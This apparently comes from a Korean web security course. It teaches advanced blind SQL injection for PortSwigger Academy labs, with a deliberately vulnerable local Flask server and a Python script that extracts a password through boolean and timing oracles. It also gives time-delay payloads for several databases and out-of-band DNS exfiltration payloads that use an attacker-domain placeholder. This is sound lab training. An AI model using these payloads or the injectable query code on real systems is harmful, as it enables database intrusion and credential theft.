Step 191. PortSwigger Academy: SQLi 고급 — Blind, time-based, OOB

Step 191. PortSwigger Academy: SQLi 고급 — Blind, time-based, OOB

Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 4시간

전제: Step 137(Blind SQLi와 sqlmap)에서 참/거짓 오라클과 추출 루프를 직접 만들어 봤다. Burp Suite 기초 사용법을 안다.

  • 준비물: 파이썬 3 + Flask(로컬 재현용), (선택) PortSwigger Academy 계정 + Burp Suite.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. PortSwigger Web Security Academy는 공격 연습을 위해 만들어진 합법 학습 플랫폼입니다.
  • 주의: 이 챕터의 원리 — 참/거짓 오라클과 시간 오라클 — 는 로컬 서버를 상대로 실측합니다. PortSwigger 랩 화면과 MySQL/PostgreSQL 구문의 출력은 외부 접속 없이는 확인할 수 없어 출력 예시로 표기합니다.

Step 137에서 Blind의 문을 열었습니다 — 화면에 안 나와도 참/거짓으로 빼낸다. 오늘은 그 심화입니다. 참/거짓 문구마저 갈리지 않을 때는 시간을 쓰고(time-based), 응답 채널 자체가 죽어 있으면 서버가 밖으로 요청을 보내게 만듭니다(OOB, Out-of-band). PortSwigger Academy의 SQLi 고급 랩들이 정확히 이 세 상황입니다. 세 돌파법을 로컬에서 몸으로 확인하고, 실제 랩에 적용하는 순서까지 정리합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • Blind SQLi의 세 가지 오라클(참/거짓, 시간, OOB)을 상황별로 구분한다
  • 참/거짓 응답 차이로 비밀번호를 한 글자씩 추출하는 스크립트를 완성한다
  • time-based 공격의 페이로드 구조(IF/CASE + SLEEP)와 DB별 차이를 설명한다
  • OOB 채널이 필요한 상황과 DNS를 이용한 반출 원리를 설명한다
  • PortSwigger SQLi 경로의 랩에 위 원리를 대응시켜 풀이 순서를 세운다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + Flask(로컬 오라클 서버) + requests(추출기), PortSwigger Academy + Burp Suite(외부, 예시)
오늘의 페이로드 ' AND '1'='1(참/거짓), ' AND IF(조건, SLEEP(3), 0)--(MySQL, 예시), `’
필요한 개념 오라클의 세 종류, DB별 sleep 함수, 응답 시간 측정, DNS 기반 OOB
오늘의 산출물 lab191.py(두 종류 오라클 서버) + probe191.py(추출기) + Blind 3종 정리 문서

2-1. PortSwigger Web Security Academy

Burp Suite를 만든 PortSwigger가 운영하는 무료 웹 보안 학습 플랫폼입니다. 각 주제마다 이론 설명과, 브라우저에서 바로 공격하는 실습 랩이 있습니다. 랩은 일회용 취약 서버가 내 계정에 뜨는 구조라, 마음껏 공격해도 되는 합법 환경입니다. SQL injection 경로에 오늘 배울 Blind 랩들이 있습니다.

2-2. Blind의 세 가지 오라클 — 상황별 진단표

Step 137에서 배운 것처럼 Blind의 본질은 오라클(내 조건의 참/거짓을 대답해 주는 신호)을 찾는 것입니다. 고급 과정은 "오라클이 점점 숨는" 세 단계로 구성됩니다.

상황 오라클 예시 신호
조건에 따라 화면 문구가 갈림 참/거짓 (Boolean) "Welcome back" 표시 유무
화면은 항상 같음 시간 (time-based) 응답이 3초 늦는가
응답 채널 자체가 없음 OOB 내 DNS 서버에 쿼리가 도착하는가

핵심 감각: 위에서 아래로 갈수록 더 은밀하고 더 느립니다. 그러니 진단 순서도 위에서부터입니다 — 문구 차이부터 찾고, 없으면 시간을 심고, 그것도 안 되면 OOB를 고려합니다.

2-3. time-based — 시간을 거는 페이로드

화면이 참이든 거짓이든 같을 때, 조건이 참일 때만 DB를 멈추게 합니다.

-- MySQL 출력 예시
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)-- 

-- PostgreSQL 출력 예시 (PortSwigger 랩 다수가 PostgreSQL)
' || (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END)-- 

DB마다 문법이 다릅니다 — 이것이 이 랩들의 첫 관문입니다. MySQL은 SLEEP(), PostgreSQL은 pg_sleep(), Oracle은 DBMS_LOCK.SLEEP이나 듀얼 테이블 요구, SQL Server는 WAITFOR DELAY. 랩 설명이나 에러 메시지에서 DB 종류부터 확인하는 습관이 절반입니다.

2-4. OOB — 서버가 대신 밖으로 나가게 하기

어떤 환경에서는 응답에 아무 신호도 실을 수 없습니다(쿼리 결과가 완전히 버려지는 경우). 그때는 DB에 외부 네트워크 요청을 시키는 기능을 이용합니다 — 조건이 참일 때만 추출한값.공격자도메인으로 DNS 조회를 일으키는 식입니다. 공격자는 자기 DNS 서버(Burp Collaborator가 이 역할을 해 줍니다)의 로그에서 도착한 쿼리 이름을 읽어 데이터를 회수합니다. 오늘은 개념과 페이로드 구조만 익힙니다.


3. 따라 하기

3-1. 로컬 오라클 서버 — 두 가지 신호를 심다

PortSwigger의 TrackingId 쿠키 랩과 같은 구조를 로컬에 만듭니다. lab191.py (교육용 취약 코드 — 어디에도 배포 금지):

import sqlite3, time
from flask import Flask, request

app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
    ("admin", "S3cr3t!"),
    ("guest", "guest123"),
])
CONN.execute("PRAGMA case_sensitive_like = ON")

@app.route("/track")
def track():
    """참이면 'Welcome back', 거짓이면 아무 말 없음 — Boolean 오라클."""
    tid = request.args.get("tid", "")
    sql = f"SELECT * FROM users WHERE username = '{tid}'"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception:
        rows = []
    body = "<p>Welcome back!</p>" if rows else "<p>...</p>"
    return "<html><body>" + body + "</body></html>"

@app.route("/time")
def time_oracle():
    """참일 때만 2초 지연 — MySQL의 IF(조건, SLEEP(3), 0)과 같은 효과."""
    tid = request.args.get("tid", "")
    sql = f"SELECT * FROM users WHERE username = '{tid}'"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception:
        rows = []
    if rows:
        time.sleep(2)
    return "ok"

if __name__ == "__main__":
    app.run(port=5191)

/time이 하는 일을 정확히 이해하세요: sqlite에는 SLEEP()이 없으므로, 서버가 조건 평가 결과에 따라 지연을 심는 방식으로 MySQL의 time-based 상황을 재현했습니다. 공격자(클라이언트) 입장에서는 완전히 동일한 게임입니다 — "조건이 참이면 응답이 늦는다".

3-2. 참/거짓 오라클 시험과 추출

probe191.py의 앞부분:

import requests, string

S = requests.Session()

def boolean_oracle(payload):
    r = S.get("http://127.0.0.1:5191/track", params={"tid": payload})
    return "Welcome back" in r.text

print("참 조건:", boolean_oracle("admin' AND '1'='1"))
print("거짓 조건:", boolean_oracle("admin' AND '1'='2"))

# LIKE 접두어 매칭으로 한 글자씩 — 문자 집합에 %와 _는 절대 넣지 말 것
charset = string.ascii_letters + string.digits + "!#$&*()-+"
known = ""
queries = 0
while True:
    found = False
    for ch in charset:
        queries += 1
        if boolean_oracle(f"admin' AND password LIKE '{known}{ch}%"):
            known += ch
            found = True
            break
    if not found:
        break
print("추출 결과:", known, f"(요청 {queries}회)")

출력 (2026-09-09 실측):

참 조건: True
거짓 조건: False
추출 결과: S3cr3t! (요청 332회)

읽는 법: Step 137과 같은 루프지만, 이번 비밀번호는 S3cr3t!처럼 특수문자와 대소문자가 섞인 실전형입니다. 특수문자가 문자 집합에 들어 있어야(!) 추출이 완결됩니다. PortSwigger의 Blind 랩에서 여러분이 Burp Intruder로 돌리는 것이 정확히 이 루프이고, 이 스크립트는 그 자동화를 파이썬으로 쓴 것입니다.

3-3. 시간 오라클 — 지연을 재서 참을 읽는다

probe191.py의 뒷부분:

import time

def time_oracle(payload):
    t0 = time.time()
    S.get("http://127.0.0.1:5191/time", params={"tid": payload})
    return time.time() - t0

t_true = time_oracle("admin' AND '1'='1")
t_false = time_oracle("admin' AND '1'='2")
print(f"참 조건 응답 시간: {t_true:.2f}초")
print(f"거짓 조건 응답 시간: {t_false:.2f}초")

# 시간 오라클로 첫 글자 추출
for ch in charset:
    if time_oracle(f"admin' AND password LIKE '{ch}%") > 1.5:
        print("첫 글자:", ch)
        break

출력 (2026-09-09 실측):

참 조건 응답 시간: 2.00초
거짓 조건 응답 시간: 0.00초
첫 글자: S

읽는 법: 화면은 참이든 거짓이든 똑같이 ok였지만, 시간이 갈랐습니다 — 2.00초 vs 0.00초. 판정 기준(1.5초)은 "지연 시간의 절반"으로 잡으면 됩니다. 전체 7글자를 이 방식으로 뽑으면 글자당 최악 수십 초 × 문자 수 — 그래서 time-based는 마지막 수단입니다. Boolean이 되는데 굳이 시간을 쓸 이유는 없습니다.

3-4. 실제 랩에 적용하기 (화면 예시)

PortSwigger SQLi 경로의 Blind 랩들은 위 구조 그대로입니다. 로컬에서 익힌 절차를 그대로 옮기면 됩니다.

  1. TrackingId 쿠키 랩(Boolean): 쿠키 값 TrackingId=xyz' AND '1'='1-- vs ' AND '1'='2-- 를 보내 응답의 차이("Welcome back" 유무)를 찾습니다 — 3-2의 1단계와 같습니다. 이어서 xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a 형태로 한 글자씩, Burp Intruder의 Cluster bomb이나 파이썬 스크립트로 자동화합니다.
  2. time-based 랩: 문구 차이가 없음을 확인한 뒤, 랩의 DB 종류를 확인하고 2-3의 sleep 페이로드를 넣어 응답 시간이 늦는지 봅니다 — 3-3과 같습니다. Burp의 응답 시간은 하단 상태 표시줄이나 Logger에서 확인합니다.
  3. OOB 랩: '+UNION+SELECT+EXTRACTVALUE(...)(MySQL) 또는 '; EXEC master..xp_dirtree '//공격자도메인/a'--(SQL Server)처럼 DB가 외부 조회를 하게 만들고, Collaborator에 도착한 DNS 쿼리를 확인합니다 (모두 출력 예시 — 구문은 DB 종류에 따라 다릅니다).

3-5. 요청 수와 시간의 회계 — 왜 순서대로 진단하는가

로컬 실측 숫자로 감각을 잡아 봅시다. 7글자 추출에 Boolean은 332회의 요청이었습니다. 같은 것을 time-based(글자 확인당 2초)로 하면 최악 수천 초가 걸립니다. OOB는 한 요청에 여러 글자를 실을 수 있어 빠를 수 있지만, DB가 외부 요청 권한을 갖고 있다는 전제가 필요합니다. 결론: 보이는 오라클부터 쓰고, 없으면 내려간다. 이 순서가 실전 시간을 좌우합니다.


4. 미션과 연습문제

미션 — 세 오라클 완성과 진단 순서 문서

  1. lab191.pyprobe191.py를 완성해 Boolean 추출(S3cr3t!)과 시간 오라클 시험(2초 vs 0초)을 재현하고 요청 수·소요 시간을 기록합니다.
  2. 시간 오라클의 판정 기준(1.5초)을 근거와 함께 설명하는 주석을 스크립트에 추가합니다.
  3. 비밀번호를 특수문자가 빠진 값으로 바꿨을 때 문자 집합이 왜 그대로 쓸 수 있는지(또는 왜 줄일 수 있는지) 실험합니다.
  4. PortSwigger 계정이 있다면 SQLi 경로의 Blind 랩 2개(Boolean, time-based)를 해결합니다.
  5. 위키에 Blind3종.md — 세 오라클의 신호·페이로드·필요 조건·속도를 표로 정리합니다.

연습문제

문제 1. Boolean → time-based → OOB 순으로 진단하는 이유를 "비용"의 관점에서 설명해 보세요.

문제 2. time-based 페이로드를 쓰기 전에 반드시 확인해야 할 것은 무엇이며, 그것이 DB마다 다른 예를 두 개 들어 보세요.

문제 3. 실측에서 참 조건은 2.00초, 거짓은 0.00초였습니다. 네트워크가 느린 원격 대상에서는 이 판정이 왜 어려워지는지, 그 완화책은 무엇인지 말해 보세요.

문제 4. OOB 공격이 성립하려면 DB 서버에 어떤 능력이 있어야 하나요? 이 전제가 방어에 주는 힌트를 한 가지 말해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

검증하는 법: ① Boolean 추출 결과가 서버의 값과 정확히 일치하는가 (집필 환경 기준: S3cr3t!, 332회). ② 시간 오라클에서 참/거짓이 지연으로 구분되는가 (2.00초 vs 0.00초). ③ 판정 기준이 "지연 시간의 절반" 같은 근거 있는 값인가. ④ 정리 표에 세 오라클이 신호·조건·속도 순으로 비교돼 있는가.

연습문제 해답

문제 1 해답. Boolean은 요청 한 번에 1비트를 즉시 얻습니다. time-based는 같은 1비트에 지연 시간(수 초)이 붙어 수십~수백 배 느립니다. OOB는 빠를 수 있지만 DB의 외부 통신 권한이라는 큰 전제가 필요합니다. 싸고 확실한 것부터 쓰고, 안 될 때만 비싼 것으로 내려가는 것이 비용 최적화입니다.

문제 2 해답. 대상의 DB 종류입니다. sleep 함수가 DB마다 다르기 때문입니다 — MySQL은 SLEEP(), PostgreSQL은 pg_sleep(). 모르고 섞어 쓰면 문법 오류만 나고 아무 정보도 얻지 못합니다. 랩 설명, 에러 메시지, 버전 문자열 등으로 종류부터 확인합니다.

문제 3 해답. 원격에서는 기본 지연(네트워크 왕복, 서버 부하)이 수백 ms 단위로 흔들려, "느린 거짓"과 "빠른 참"의 경계가 흐려집니다. 완화책: 지연을 더 길게(3~5초) 심고, 같은 조건을 여러 번 측정해 평균으로 판정하고, 참/거짓을 번갈아 보내 기준선을 실시간으로 보정합니다.

문제 4 해답. DB 서버가 외부 네트워크로 요청을 보낼 수 있어야 합니다 (DNS 조회나 HTTP 요청). 방어 힌트: DB 서버의 아웃바운드 통신을 막으면(이그레스 필터링) OOB 반출 경로가 원천 차단됩니다. 방어는 인젝션 자체만이 아니라 반출 경로를 끊는 것으로도 설계할 수 있습니다.

완료 기준 체크리스트

  • [ ] Blind의 세 오라클(참/거짓·시간·OOB)과 신호를 각각 말할 수 있다
  • [ ] Boolean 추출 스크립트를 완성해 특수문자 포함 비밀번호를 뽑았다
  • [ ] 시간 오라클에서 참/거짓을 지연으로 구분하는 실험을 재현했다
  • [ ] DB별 sleep 함수가 다름을 예시와 함께 설명할 수 있다
  • [ ] OOB의 성립 조건(DB의 외부 요청 능력)을 말할 수 있다
  • [ ] 진단 순서(Boolean → time → OOB)를 비용 관점으로 설명할 수 있다
  • [ ] 미션: 로컬 재현 기록 + Blind3종.md 정리를 마쳤다

6. 흔한 실수와 해결

벽 1. 추출이 끝나지 않고 요청이 폭주해요

증상 (집필 환경 실측): 비밀번호를 다 찾은 뒤에도 추출이 계속되다가 결국:

OSError: [WinError 10048] 각 소켓 주소(프로토콜/네트워크 주소/포트)는 하나만 사용할 수 있습니다

원인: 문자 집합에 LIKE의 와일드카드 %를 넣었습니다. 집필 환경에서 실제로 !@#$%^&*를 문자 집합에 넣었다가 이 사고를 재현했습니다 — %는 어떤 접두어에도 참이라 루프가 끝나지 않고, 폭주한 요청이 윈도우 임시 포트를 고갈시킵니다.

해결: 문자 집합에서 %_를 빼세요. 특수문자가 필요하면 !#$&*()-+처럼 와일드카드가 아닌 것만 넣습니다. 포트가 고갈됐다면 1~2분 기다렸다가(TIME_WAIT 정리 시간) 재실행하세요.

벽 2. 추출 결과의 대소문자가 전부 뭉개져요

증상: S3cr3t!인데 s3cr3t!로 나옵니다.

원인: DB의 LIKE가 대소문자를 구분하지 않습니다 (SQLite 기본값, MySQL 기본 collation 동일).

해결: SQLite는 PRAGMA case_sensitive_like = ON, MySQL은 LIKE BINARY. 이 챕터의 랩 코드에는 이미 PRAGMA가 켜져 있습니다 — 빼고 돌려 보면 현상을 직접 확인할 수 있습니다.

벽 3. time-based인데 참도 거짓도 빨라요

원인 1순위: DB 종류가 달라서 sleep 구문이 문법 오류로 버려지고 있습니다. 2순위: 페이로드의 따옴표/주석 처리가 깨져 쿼리 전체가 오류입니다.

해결: 랩 설명의 DB 종류를 다시 확인하고, 구문이 맞는 DB인지 대조하세요. 오류가 의심되면 조건 없이 sleep만 단독으로 심어("무조건 늦는가")부터 확인하는 것이 정석입니다.

벽 4. PortSwigger 랩에서 Intruder가 생각대로 안 돌아요

증상: 페이로드 위치 마킹(§)이나 그룹핑이 엉킵니다.

원인: 쿠키 값 안의 작은따옴표·공백을 URL 인코딩 없이 다뤘거나, 공격 타입(Sniper vs Cluster bomb) 선택이 잘못됐습니다.

해결: Repeater에서 먼저 한 번 수동으로 참/거짓 차이를 확인한 뒤 Intruder로 보내세요. 수동에서 안 갈리는 것은 자동화해도 안 갈립니다 — 자동화는 검증된 오라클의 반복일 뿐입니다.

벽 5. 추출은 되는데 끝을 모르겠어요

원인: 비밀번호 길이를 모르면 "더 이상 참이 없음"을 확인하는 마지막 한 바퀴가 필요한데, time-based에서는 그 한 바퀴도 비쌉니다.

해결: 먼저 길이를 물으세요 — ' AND LENGTH(password)=7-- 같은 질문을 1부터 올려 가며 참이 되는 지점을 찾습니다. 길이를 알면 루프의 종료 조건이 확정됩니다.


7. 정리

오늘의 개념

개념 한 줄 설명
Boolean 오라클 화면 문구의 차이로 참/거짓을 읽는 방식 — 가장 빠름
time-based 오라클 SLEEP 계열로 응답 지연을 심어 읽는 방식 — 은밀하지만 느림
OOB (Out-of-band) DB가 외부로 보낸 DNS/HTTP 요청으로 데이터를 회수 — 응답 채널이 죽었을 때
DB별 sleep MySQL SLEEP() / PostgreSQL pg_sleep() / SQL Server WAITFOR DELAY
진단 순서 보이는 오라클부터 — Boolean → time → OOB
Burp Collaborator OOB용 임시 DNS/HTTP 수신 서버 — 도착 로그로 반출 확인

오늘의 명령어와 페이로드

명령·페이로드 하는 일
' AND '1'='1 / ' AND '1'='2 Boolean 오라클 시험
admin' AND password LIKE 'S% 한 글자 질문 (접두어 매칭)
' AND IF(조건, SLEEP(3), 0)-- MySQL time-based (출력 예시)
' || (SELECT CASE WHEN (조건) THEN pg_sleep(3) ELSE pg_sleep(0) END)-- PostgreSQL time-based (출력 예시)
' AND LENGTH(password)=7-- 길이 먼저 묻기 — 루프 종료 조건 확보
PRAGMA case_sensitive_like = ON / LIKE BINARY 대소문자 구분 강제

명령어보다 중요한 감각

Blind 고급 과정의 본질은 새 기술이 아니라 신호 발굴입니다. 문구, 시간, 외부 요청 — 서로 다른 세 신호지만 하는 일은 같습니다: 내 조건의 참/거짓을 1비트로 배달하기. 방어자 입장에서 뒤집어 보면, 응답을 동일하게 만드는 것(신호 지우기)과 DB의 외부 통신 차단(반출 끊기)이 이 공격들의 대응책이라는 것도 보입니다. 공격자가 신호를 찾는 눈이, 방어자에게는 신호를 지우는 눈이 됩니다.


전부 체크되면 Step 191 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.